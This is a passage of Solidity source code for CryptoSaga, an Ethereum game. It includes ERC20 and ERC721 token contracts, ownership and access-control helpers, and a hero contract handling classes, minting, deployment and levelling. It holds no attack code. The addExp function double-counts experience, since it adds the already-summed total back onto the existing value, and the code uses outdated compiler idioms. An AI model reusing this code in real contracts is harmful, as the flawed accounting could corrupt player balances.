return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Claimable
* @dev Extension for the Ownable contract, where the ownership needs to be claimed.
* This allows the new owner to accept the transfer.
*/
contract Claimable is Ownable {
address public pendingOwner;
/**
* @dev Modifier throws if called by any account other than the pendingOwner.
*/
modifier onlyPendingOwner() {
require(msg.sender == pendingOwner);
_;
}
/**
* @dev Allows the current owner to set the pendingOwner address.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
pendingOwner = newOwner;
}
/**
* @dev Allows the pendingOwner address to finalize the transfer.
*/
function claimOwnership() onlyPendingOwner public {
OwnershipTransferred(owner, pendingOwner);
owner = pendingOwner;
pendingOwner = address(0);
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
/**
* @title ERC721 interface
* @dev see https://github.com/ethereum/eips/issues/721
*/
contract ERC721 {
event Transfer(address indexed _from, address indexed _to, uint256 _tokenId);
event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId);
function balanceOf(address _owner) public view returns (uint256 _balance);
function ownerOf(uint256 _tokenId) public view returns (address _owner);
function transfer(address _to, uint256 _tokenId) public;
function approve(address _to, uint256 _tokenId) public;
function takeOwnership(uint256 _tokenId) public;
}
/**
* @title ERC721Token
* Generic implementation for the required functionality of the ERC721 standard
*/
contract ERC721Token is ERC721 {
using SafeMath for uint256;
// Total amount of tokens
uint256 private totalTokens;
// Mapping from token ID to owner
mapping (uint256 => address) private tokenOwner;
// Mapping from token ID to approved address
mapping (uint256 => address) private tokenApprovals;
// Mapping from owner to list of owned token IDs
mapping (address => uint256[]) private ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private ownedTokensIndex;
/**
* @dev Guarantees msg.sender is owner of the given token
* @param _tokenId uint256 ID of the token to validate its ownership belongs to msg.sender
*/
modifier onlyOwnerOf(uint256 _tokenId) {
require(ownerOf(_tokenId) == msg.sender);
_;
}
/**
* @dev Gets the total amount of tokens stored by the contract
* @return uint256 representing the total amount of tokens
*/
function totalSupply() public view returns (uint256) {
return totalTokens;
}
/**
* @dev Gets the balance of the specified address
* @param _owner address to query the balance of
* @return uint256 representing the amount owned by the passed address
*/
function balanceOf(address _owner) public view returns (uint256) {
return ownedTokens[_owner].length;
}
/**
* @dev Gets the list of tokens owned by a given address
* @param _owner address to query the tokens of
* @return uint256[] representing the list of tokens owned by the passed address
*/
function tokensOf(address _owner) public view returns (uint256[]) {
return ownedTokens[_owner];
}
/**
* @dev Gets the owner of the specified token ID
* @param _tokenId uint256 ID of the token to query the owner of
* @return owner address currently marked as the owner of the given token ID
*/
function ownerOf(uint256 _tokenId) public view returns (address) {
address owner = tokenOwner[_tokenId];
require(owner != address(0));
return owner;
}
/**
* @dev Gets the approved address to take ownership of a given token ID
* @param _tokenId uint256 ID of the token to query the approval of
* @return address currently approved to take ownership of the given token ID
*/
function approvedFor(uint256 _tokenId) public view returns (address) {
return tokenApprovals[_tokenId];
}
/**
* @dev Transfers the ownership of a given token ID to another address
* @param _to address to receive the ownership of the given token ID
* @param _tokenId uint256 ID of the token to be transferred
*/
function transfer(address _to, uint256 _tokenId) public onlyOwnerOf(_tokenId) {
clearApprovalAndTransfer(msg.sender, _to, _tokenId);
}
/**
* @dev Approves another address to claim for the ownership of the given token ID
* @param _to address to be approved for the given token ID
* @param _tokenId uint256 ID of the token to be approved
*/
function approve(address _to, uint256 _tokenId) public onlyOwnerOf(_tokenId) {
address owner = ownerOf(_tokenId);
require(_to != owner);
if (approvedFor(_tokenId) != 0 || _to != 0) {
tokenApprovals[_tokenId] = _to;
Approval(owner, _to, _tokenId);
}
}
/**
* @dev Claims the ownership of a given token ID
* @param _tokenId uint256 ID of the token being claimed by the msg.sender
*/
function takeOwnership(uint256 _tokenId) public {
require(isApprovedFor(msg.sender, _tokenId));
clearApprovalAndTransfer(ownerOf(_tokenId), msg.sender, _tokenId);
}
/**
* @dev Mint token function
* @param _to The address that will own the minted token
* @param _tokenId uint256 ID of the token to be minted by the msg.sender
*/
function _mint(address _to, uint256 _tokenId) internal {
require(_to != address(0));
addToken(_to, _tokenId);
Transfer(0x0, _to, _tokenId);
}
/**
* @dev Burns a specific token
* @param _tokenId uint256 ID of the token being burned by the msg.sender
*/
function _burn(uint256 _tokenId) onlyOwnerOf(_tokenId) internal {
if (approvedFor(_tokenId) != 0) {
clearApproval(msg.sender, _tokenId);
}
removeToken(msg.sender, _tokenId);
Transfer(msg.sender, 0x0, _tokenId);
}
/**
* @dev Tells whether the msg.sender is approved for the given token ID or not
* This function is not private so it can be extended in further implementations like the operatable ERC721
* @param _owner address of the owner to query the approval of
* @param _tokenId uint256 ID of the token to query the approval of
* @return bool whether the msg.sender is approved for the given token ID or not
*/
function isApprovedFor(address _owner, uint256 _tokenId) internal view returns (bool) {
return approvedFor(_tokenId) == _owner;
}
/**
* @dev Internal function to clear current approval and transfer the ownership of a given token ID
* @param _from address which you want to send tokens from
* @param _to address which you want to transfer the token to
* @param _tokenId uint256 ID of the token to be transferred
*/
function clearApprovalAndTransfer(address _from, address _to, uint256 _tokenId) internal {
require(_to != address(0));
require(_to != ownerOf(_tokenId));
require(ownerOf(_tokenId) == _from);
clearApproval(_from, _tokenId);
removeToken(_from, _tokenId);
addToken(_to, _tokenId);
Transfer(_from, _to, _tokenId);
}
/**
* @dev Internal function to clear current approval of a given token ID
* @param _tokenId uint256 ID of the token to be transferred
*/
function clearApproval(address _owner, uint256 _tokenId) private {
require(ownerOf(_tokenId) == _owner);
tokenApprovals[_tokenId] = 0;
Approval(_owner, 0, _tokenId);
}
/**
* @dev Internal function to add a token ID to the list of a given address
* @param _to address representing the new owner of the given token ID
* @param _tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function addToken(address _to, uint256 _tokenId) private {
require(tokenOwner[_tokenId] == address(0));
tokenOwner[_tokenId] = _to;
uint256 length = balanceOf(_to);
ownedTokens[_to].push(_tokenId);
ownedTokensIndex[_tokenId] = length;
totalTokens = totalTokens.add(1);
}
/**
* @dev Internal function to remove a token ID from the list of a given address
* @param _from address representing the previous owner of the given token ID
* @param _tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function removeToken(address _from, uint256 _tokenId) private {
require(ownerOf(_tokenId) == _from);
uint256 tokenIndex = ownedTokensIndex[_tokenId];
uint256 lastTokenIndex = balanceOf(_from).sub(1);
uint256 lastToken = ownedTokens[_from][lastTokenIndex];
tokenOwner[_tokenId] = 0;
ownedTokens[_from][tokenIndex] = lastToken;
ownedTokens[_from][lastTokenIndex] = 0;
// Note that this will handle single-element arrays. In that case, both tokenIndex and lastTokenIndex are going to
// be zero. Then we can make sure that we will remove _tokenId from the ownedTokens list since we are first swapping
// the lastToken to the first position, and then dropping the element placed in the last position of the list
ownedTokens[_from].length--;
ownedTokensIndex[_tokenId] = 0;
ownedTokensIndex[lastToken] = tokenIndex;
totalTokens = totalTokens.sub(1);
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title AccessDeposit
* @dev Adds grant/revoke functions to the contract.
*/
contract AccessDeposit is Claimable {
// Access for adding deposit.
mapping(address => bool) private depositAccess;
// Modifier for accessibility to add deposit.
modifier onlyAccessDeposit {
require(msg.sender == owner || depositAccess[msg.sender] == true);
_;
}
// @dev Grant acess to deposit heroes.
function grantAccessDeposit(address _address)
onlyOwner
public
{
depositAccess[_address] = true;
}
// @dev Revoke acess to deposit heroes.
function revokeAccessDeposit(address _address)
onlyOwner
public
{
depositAccess[_address] = false;
}
}
/**
* @title AccessDeploy
* @dev Adds grant/revoke functions to the contract.
*/
contract AccessDeploy is Claimable {
// Access for deploying heroes.
mapping(address => bool) private deployAccess;
// Modifier for accessibility to deploy a hero on a location.
modifier onlyAccessDeploy {
require(msg.sender == owner || deployAccess[msg.sender] == true);
_;
}
// @dev Grant acess to deploy heroes.
function grantAccessDeploy(address _address)
onlyOwner
public
{
deployAccess[_address] = true;
}
// @dev Revoke acess to deploy heroes.
function revokeAccessDeploy(address _address)
onlyOwner
public
{
deployAccess[_address] = false;
}
}
/**
* @title AccessMint
* @dev Adds grant/revoke functions to the contract.
*/
contract AccessMint is Claimable {
// Access for minting new tokens.
mapping(address => bool) private mintAccess;
// Modifier for accessibility to define new hero types.
modifier onlyAccessMint {
require(msg.sender == owner || mintAccess[msg.sender] == true);
_;
}
// @dev Grant acess to mint heroes.
function grantAccessMint(address _address)
onlyOwner
public
{
mintAccess[_address] = true;
}
// @dev Revoke acess to mint heroes.
function revokeAccessMint(address _address)
onlyOwner
public
{
mintAccess[_address] = false;
}
}
/**
* @title Gold
* @dev ERC20 Token that can be minted.
*/
contract Gold is StandardToken, Claimable, AccessMint {
string public constant name = "Gold";
string public constant symbol = "G";
uint8 public constant decimals = 18;
// Event that is fired when minted.
event Mint(
address indexed _to,
uint256 indexed _tokenId
);
// @dev Mint tokens with _amount to the address.
function mint(address _to, uint256 _amount)
onlyAccessMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
}
/**
* @title CryptoSaga Card
* @dev ERC721 Token that repesents CryptoSaga's cards.
* Buy consuming a card, players of CryptoSaga can get a heroe.
*/
contract CryptoSagaCard is ERC721Token, Claimable, AccessMint {
string public constant name = "CryptoSaga Card";
string public constant symbol = "CARD";
// Rank of the token.
mapping(uint256 => uint8) public tokenIdToRank;
// The number of tokens ever minted.
uint256 public numberOfTokenId;
// The converter contract.
CryptoSagaCardSwap private swapContract;
// Event that should be fired when card is converted.
event CardSwap(address indexed _by, uint256 _tokenId, uint256 _rewardId);
// @dev Set the address of the contract that represents CryptoSaga Cards.
function setCryptoSagaCardSwapContract(address _contractAddress)
public
onlyOwner
{
swapContract = CryptoSagaCardSwap(_contractAddress);
}
function rankOf(uint256 _tokenId)
public view
returns (uint8)
{
return tokenIdToRank[_tokenId];
}
// @dev Mint a new card.
function mint(address _beneficiary, uint256 _amount, uint8 _rank)
onlyAccessMint
public
{
for (uint256 i = 0; i < _amount; i++) {
_mint(_beneficiary, numberOfTokenId);
tokenIdToRank[numberOfTokenId] = _rank;
numberOfTokenId ++;
}
}
// @dev Swap this card for reward.
// The card will be burnt.
function swap(uint256 _tokenId)
onlyOwnerOf(_tokenId)
public
returns (uint256)
{
require(address(swapContract) != address(0));
var _rank = tokenIdToRank[_tokenId];
var _rewardId = swapContract.swapCardForReward(this, _rank);
CardSwap(ownerOf(_tokenId), _tokenId, _rewardId);
_burn(_tokenId);
return _rewardId;
}
}
/**
* @title The interface contract for Card-For-Hero swap functionality.
* @dev With this contract, a card holder can swap his/her CryptoSagaCard for reward.
* This contract is intended to be inherited by CryptoSagaCardSwap implementation contracts.
*/
contract CryptoSagaCardSwap is Ownable {
// Card contract.
address internal cardAddess;
// Modifier for accessibility to define new hero types.
modifier onlyCard {
require(msg.sender == cardAddess);
_;
}
// @dev Set the address of the contract that represents ERC721 Card.
function setCardContract(address _contractAddress)
public
onlyOwner
{
cardAddess = _contractAddress;
}
// @dev Convert card into reward.
// This should be implemented by CryptoSagaCore later.
function swapCardForReward(address _by, uint8 _rank)
onlyCard
public
returns (uint256);
}
/**
* @title CryptoSagaHero
* @dev The token contract for the hero.
* Also a superset of the ERC721 standard that allows for the minting
* of the non-fungible tokens.
*/
contract CryptoSagaHero is ERC721Token, Claimable, Pausable, AccessMint, AccessDeploy, AccessDeposit {
string public constant name = "CryptoSaga Hero";
string public constant symbol = "HERO";
struct HeroClass {
// ex) Soldier, Knight, Fighter...
string className;
// 0: Common, 1: Uncommon, 2: Rare, 3: Heroic, 4: Legendary.
uint8 classRank;
// 0: Human, 1: Celestial, 2: Demon, 3: Elf, 4: Dark Elf, 5: Yogoe, 6: Furry, 7: Dragonborn, 8: Undead, 9: Goblin, 10: Troll, 11: Slime, and more to come.
uint8 classRace;
// How old is this hero class?
uint32 classAge;
// 0: Fighter, 1: Rogue, 2: Mage.
uint8 classType;
// Possible max level of this class.
uint32 maxLevel;
// 0: Water, 1: Fire, 2: Nature, 3: Light, 4: Darkness.
uint8 aura;
// Base stats of this hero type.
// 0: ATK 1: DEF 2: AGL 3: LUK 4: HP.
uint32[5] baseStats;
// Minimum IVs for stats.
// 0: ATK 1: DEF 2: AGL 3: LUK 4: HP.
uint32[5] minIVForStats;
// Maximum IVs for stats.
// 0: ATK 1: DEF 2: AGL 3: LUK 4: HP.
uint32[5] maxIVForStats;
// Number of currently instanced heroes.
uint32 currentNumberOfInstancedHeroes;
}
struct HeroInstance {
// What is this hero's type? ex) John, Sally, Mark...
uint32 heroClassId;
// Individual hero's name.
string heroName;
// Current level of this hero.
uint32 currentLevel;
// Current exp of this hero.
uint32 currentExp;
// Where has this hero been deployed? (0: Never depolyed ever.) ex) Dungeon Floor #1, Arena #5...
uint32 lastLocationId;
// When a hero is deployed, it takes time for the hero to return to the base. This is in Unix epoch.
uint256 availableAt;
// Current stats of this hero.
// 0: ATK 1: DEF 2: AGL 3: LUK 4: HP.
uint32[5] currentStats;
// The individual value for this hero's stats.
// This will affect the current stats of heroes.
// 0: ATK 1: DEF 2: AGL 3: LUK 4: HP.
uint32[5] ivForStats;
}
// Required exp for level up will increase when heroes level up.
// This defines how the value will increase.
uint32 public requiredExpIncreaseFactor = 100;
// Required Gold for level up will increase when heroes level up.
// This defines how the value will increase.
uint256 public requiredGoldIncreaseFactor = 1000000000000000000;
// Existing hero classes.
mapping(uint32 => HeroClass) public heroClasses;
// The number of hero classes ever defined.
uint32 public numberOfHeroClasses;
// Existing hero instances.
// The key is _tokenId.
mapping(uint256 => HeroInstance) public tokenIdToHeroInstance;
// The number of tokens ever minted. This works as the serial number.
uint256 public numberOfTokenIds;
// Gold contract.
Gold public goldContract;
// Deposit of players (in Gold).
mapping(address => uint256) public addressToGoldDeposit;
// Random seed.
uint32 private seed = 0;
// Event that is fired when a hero type defined.
event DefineType(
address indexed _by,
uint32 indexed _typeId,
string _className
);
// Event that is fired when a hero is upgraded.
event LevelUp(
address indexed _by,
uint256 indexed _tokenId,
uint32 _newLevel
);
// Event that is fired when a hero is deployed.
event Deploy(
address indexed _by,
uint256 indexed _tokenId,
uint32 _locationId,
uint256 _duration
);
// @dev Get the class's entire infomation.
function getClassInfo(uint32 _classId)
external view
returns (string className, uint8 classRank, uint8 classRace, uint32 classAge, uint8 classType, uint32 maxLevel, uint8 aura, uint32[5] baseStats, uint32[5] minIVs, uint32[5] maxIVs)
{
var _cl = heroClasses[_classId];
return (_cl.className, _cl.classRank, _cl.classRace, _cl.classAge, _cl.classType, _cl.maxLevel, _cl.aura, _cl.baseStats, _cl.minIVForStats, _cl.maxIVForStats);
}
// @dev Get the class's name.
function getClassName(uint32 _classId)
external view
returns (string)
{
return heroClasses[_classId].className;
}
// @dev Get the class's rank.
function getClassRank(uint32 _classId)
external view
returns (uint8)
{
return heroClasses[_classId].classRank;
}
// @dev Get the heroes ever minted for the class.
function getClassMintCount(uint32 _classId)
external view
returns (uint32)
{
return heroClasses[_classId].currentNumberOfInstancedHeroes;
}
// @dev Get the hero's entire infomation.
function getHeroInfo(uint256 _tokenId)
external view
returns (uint32 classId, string heroName, uint32 currentLevel, uint32 currentExp, uint32 lastLocationId, uint256 availableAt, uint32[5] currentStats, uint32[5] ivs, uint32 bp)
{
HeroInstance memory _h = tokenIdToHeroInstance[_tokenId];
var _bp = _h.currentStats[0] + _h.currentStats[1] + _h.currentStats[2] + _h.currentStats[3] + _h.currentStats[4];
return (_h.heroClassId, _h.heroName, _h.currentLevel, _h.currentExp, _h.lastLocationId, _h.availableAt, _h.currentStats, _h.ivForStats, _bp);
}
// @dev Get the hero's class id.
function getHeroClassId(uint256 _tokenId)
external view
returns (uint32)
{
return tokenIdToHeroInstance[_tokenId].heroClassId;
}
// @dev Get the hero's name.
function getHeroName(uint256 _tokenId)
external view
returns (string)
{
return tokenIdToHeroInstance[_tokenId].heroName;
}
// @dev Get the hero's level.
function getHeroLevel(uint256 _tokenId)
external view
returns (uint32)
{
return tokenIdToHeroInstance[_tokenId].currentLevel;
}
// @dev Get the hero's location.
function getHeroLocation(uint256 _tokenId)
external view
returns (uint32)
{
return tokenIdToHeroInstance[_tokenId].lastLocationId;
}
// @dev Get the time when the hero become available.
function getHeroAvailableAt(uint256 _tokenId)
external view
returns (uint256)
{
return tokenIdToHeroInstance[_tokenId].availableAt;
}
// @dev Get the hero's BP.
function getHeroBP(uint256 _tokenId)
public view
returns (uint32)
{
var _tmp = tokenIdToHeroInstance[_tokenId].currentStats;
return (_tmp[0] + _tmp[1] + _tmp[2] + _tmp[3] + _tmp[4]);
}
// @dev Get the hero's required gold for level up.
function getHeroRequiredGoldForLevelUp(uint256 _tokenId)
public view
returns (uint256)
{
return (uint256(2) ** (tokenIdToHeroInstance[_tokenId].currentLevel / 10)) * requiredGoldIncreaseFactor;
}
// @dev Get the hero's required exp for level up.
function getHeroRequiredExpForLevelUp(uint256 _tokenId)
public view
returns (uint32)
{
return ((tokenIdToHeroInstance[_tokenId].currentLevel + 2) * requiredExpIncreaseFactor);
}
// @dev Get the deposit of gold of the player.
function getGoldDepositOfAddress(address _address)
external view
returns (uint256)
{
return addressToGoldDeposit[_address];
}
// @dev Get the token id of the player's #th token.
function getTokenIdOfAddressAndIndex(address _address, uint256 _index)
external view
returns (uint256)
{
return tokensOf(_address)[_index];
}
// @dev Get the total BP of the player.
function getTotalBPOfAddress(address _address)
external view
returns (uint32)
{
var _tokens = tokensOf(_address);
uint32 _totalBP = 0;
for (uint256 i = 0; i < _tokens.length; i ++) {
_totalBP += getHeroBP(_tokens[i]);
}
return _totalBP;
}
// @dev Set the hero's name.
function setHeroName(uint256 _tokenId, string _name)
onlyOwnerOf(_tokenId)
public
{
tokenIdToHeroInstance[_tokenId].heroName = _name;
}
// @dev Set the address of the contract that represents ERC20 Gold.
function setGoldContract(address _contractAddress)
onlyOwner
public
{
goldContract = Gold(_contractAddress);
}
// @dev Set the required golds to level up a hero.
function setRequiredExpIncreaseFactor(uint32 _value)
onlyOwner
public
{
requiredExpIncreaseFactor = _value;
}
// @dev Set the required golds to level up a hero.
function setRequiredGoldIncreaseFactor(uint256 _value)
onlyOwner
public
{
requiredGoldIncreaseFactor = _value;
}
// @dev Contructor.
function CryptoSagaHero(address _goldAddress)
public
{
require(_goldAddress != address(0));
// Assign Gold contract.
setGoldContract(_goldAddress);
// Initial heroes.
// Name, Rank, Race, Age, Type, Max Level, Aura, Stats.
defineType("Archangel", 4, 1, 13540, 0, 99, 3, [uint32(74), 75, 57, 99, 95], [uint32(8), 6, 8, 5, 5], [uint32(8), 10, 10, 6, 6]);
defineType("Shadowalker", 3, 4, 134, 1, 75, 4, [uint32(45), 35, 60, 80, 40], [uint32(3), 2, 10, 4, 5], [uint32(5), 5, 10, 7, 5]);
defineType("Pyromancer", 2, 0, 14, 2, 50, 1, [uint32(50), 28, 17, 40, 35], [uint32(5), 3, 2, 3, 3], [uint32(8), 4, 3, 4, 5]);
defineType("Magician", 1, 3, 224, 2, 30, 0, [uint32(35), 15, 25, 25, 30], [uint32(3), 1, 2, 2, 2], [uint32(5), 2, 3, 3, 3]);
defineType("Farmer", 0, 0, 59, 0, 15, 2, [uint32(10), 22, 8, 15, 25], [uint32(1), 2, 1, 1, 2], [uint32(1), 3, 1, 2, 3]);
}
// @dev Define a new hero type (class).
function defineType(string _className, uint8 _classRank, uint8 _classRace, uint32 _classAge, uint8 _classType, uint32 _maxLevel, uint8 _aura, uint32[5] _baseStats, uint32[5] _minIVForStats, uint32[5] _maxIVForStats)
onlyOwner
public
{
require(_classRank < 5);
require(_classType < 3);
require(_aura < 5);
require(_minIVForStats[0] <= _maxIVForStats[0] && _minIVForStats[1] <= _maxIVForStats[1] && _minIVForStats[2] <= _maxIVForStats[2] && _minIVForStats[3] <= _maxIVForStats[3] && _minIVForStats[4] <= _maxIVForStats[4]);
HeroClass memory _heroType = HeroClass({
className: _className,
classRank: _classRank,
classRace: _classRace,
classAge: _classAge,
classType: _classType,
maxLevel: _maxLevel,
aura: _aura,
baseStats: _baseStats,
minIVForStats: _minIVForStats,
maxIVForStats: _maxIVForStats,
currentNumberOfInstancedHeroes: 0
});
// Save the hero class.
heroClasses[numberOfHeroClasses] = _heroType;
// Fire event.
DefineType(msg.sender, numberOfHeroClasses, _heroType.className);
// Increment number of hero classes.
numberOfHeroClasses ++;
}
// @dev Mint a new hero, with _heroClassId.
function mint(address _owner, uint32 _heroClassId)
onlyAccessMint
public
returns (uint256)
{
require(_owner != address(0));
require(_heroClassId < numberOfHeroClasses);
// The information of the hero's class.
var _heroClassInfo = heroClasses[_heroClassId];
// Mint ERC721 token.
_mint(_owner, numberOfTokenIds);
// Build random IVs for this hero instance.
uint32[5] memory _ivForStats;
uint32[5] memory _initialStats;
for (uint8 i = 0; i < 5; i++) {
_ivForStats[i] = (random(_heroClassInfo.maxIVForStats[i] + 1, _heroClassInfo.minIVForStats[i]));
_initialStats[i] = _heroClassInfo.baseStats[i] + _ivForStats[i];
}
// Temporary hero instance.
HeroInstance memory _heroInstance = HeroInstance({
heroClassId: _heroClassId,
heroName: "",
currentLevel: 1,
currentExp: 0,
lastLocationId: 0,
availableAt: now,
currentStats: _initialStats,
ivForStats: _ivForStats
});
// Save the hero instance.
tokenIdToHeroInstance[numberOfTokenIds] = _heroInstance;
// Increment number of token ids.
// This will only increment when new token is minted, and will never be decemented when the token is burned.
numberOfTokenIds ++;
// Increment instanced number of heroes.
_heroClassInfo.currentNumberOfInstancedHeroes ++;
return numberOfTokenIds - 1;
}
// @dev Set where the heroes are deployed, and when they will return.
// This is intended to be called by Dungeon, Arena, Guild contracts.
function deploy(uint256 _tokenId, uint32 _locationId, uint256 _duration)
onlyAccessDeploy
public
returns (bool)
{
// The hero should be possessed by anybody.
require(ownerOf(_tokenId) != address(0));
var _heroInstance = tokenIdToHeroInstance[_tokenId];
// The character should be avaiable.
require(_heroInstance.availableAt <= now);
_heroInstance.lastLocationId = _locationId;
_heroInstance.availableAt = now + _duration;
// As the hero has been deployed to another place, fire event.
Deploy(msg.sender, _tokenId, _locationId, _duration);
}
// @dev Add exp.
// This is intended to be called by Dungeon, Arena, Guild contracts.
function addExp(uint256 _tokenId, uint32 _exp)
onlyAccessDeploy
public
returns (bool)
{
// The hero should be possessed by anybody.
require(ownerOf(_tokenId) != address(0));
var _heroInstance = tokenIdToHeroInstance[_tokenId];
var _newExp = _heroInstance.currentExp + _exp;
// Sanity check to ensure we don't overflow.
require(_newExp == uint256(uint128(_newExp)));
_heroInstance.currentExp += _newExp;
}
// @dev Add deposit.
// This is intended to be called by Dungeon, Arena, Guild contracts.
function addDeposit(address _to, uint256 _amount)
onlyAccessDeposit
public
{
// Increment deposit.
addressToGoldDeposit[_to] += _amount;
}
// @dev Level up the hero with _tokenId.
// This function is called by the owner of the hero.
function levelUp(uint256 _tokenId)
onlyOwnerOf(_tokenId) whenNotPaused
public
{
// Hero instance.
var _heroInstance = tokenIdToHeroInstance[_tokenId];
// The character should be avaiable. (Should have already returned from the dungeons, arenas, etc.)
require(_heroInstance.availableAt <= now);
// The information of the hero's class.
var _heroClassInfo = heroClasses[_heroInstance.heroClassId];
// Hero shouldn't level up exceed its max level.
require(_heroInstance.currentLevel < _heroClassInfo.maxLevel);
// Required Exp.
var requiredExp = getHeroRequiredExpForLevelUp(_tokenId);
// Need to have enough exp.
require(_heroInstance.currentExp >= requiredExp);
// Required Gold.
var requiredGold = getHeroRequiredGoldForLevelUp(_tokenId);
// Owner of token.
var _ownerOfToken = ownerOf(_tokenId);
// Need to have enough Gold balance.
require(addressToGoldDeposit[_ownerOfToken] >= requiredGold);
// Increase Level.
_heroInstance.currentLevel += 1;
// Increase Stats.
for (uint8 i = 0; i < 5; i++) {
_heroInstance.currentStats[i] = _heroClassInfo.baseStats[i] + (_heroInstance.currentLevel - 1) * _heroInstance.ivForStats[i];
}
// Deduct exp.
_heroInstance.currentExp -= requiredExp;
// Deduct gold.
addressToGoldDeposit[_ownerOfToken] -= requiredGold;
// Fire event.
